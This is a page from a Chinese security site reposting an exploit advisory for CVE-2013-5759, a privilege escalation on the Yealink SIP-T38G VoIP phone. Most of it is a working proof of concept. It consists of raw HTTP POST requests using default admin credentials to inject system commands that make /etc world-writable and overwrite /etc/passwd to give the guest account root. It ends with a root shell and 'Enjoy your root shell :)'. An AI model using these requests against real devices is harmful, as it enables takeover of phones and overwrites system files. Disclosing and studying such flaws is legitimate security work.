首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Yealink VoIP Phone SIP-T38G - Privileges Escalation
来源:vfocus.net 作者:Un1k0d3r 发布时间:2014-06-16  
Title: Yealink VoIP Phone SIP-T38G Privileges Escalation
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5759
  
Description:
  
Using the fact that cgiServer.exx run under the root privileges we use the
command execution (CVE-2013-5758) to modify the system file restriction.
Then we add extra privileges to the guest account.
  
POC:
  
Step 1 - Changing /etc folder right to 777:
  
POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
  
system("/bin/busybox%20chmod%20-R%20777%20/etc")
  
Step 2 - Change guest user uid:
  
POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
  
system("echo "root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:0:0:Guest,,,:/:/bin/sh\" > /etc/passwd
")
  
Step 3 - Connect back using telnet and guest account (password is guest):
  
# id
uid=0(root) gid=0(root)
  
Enjoy your root shell :)
  
-- 
*Mr.Un1k0d3r** or 1 #*

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Yealink VoIP Phone SIP-T38G -
·Adobe Reader for Android addJa
·Yealink VoIP Phone SIP-T38G -
·Easy File Management Web Serve
·Yealink VoIP Phone SIP-T38G -
·Ubisoft Rayman Legends 1.2.103
·ZTE / TP-Link RomPager Denial
·Rocket Servergraph Admin Cente
·Core FTP LE 2.2 - Heap Overflo
·docker 0.11 VMM-container Brea
·IBM AIX 6.1.8+ Privilege Escal
·Ericom AccessNow Server Buffer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved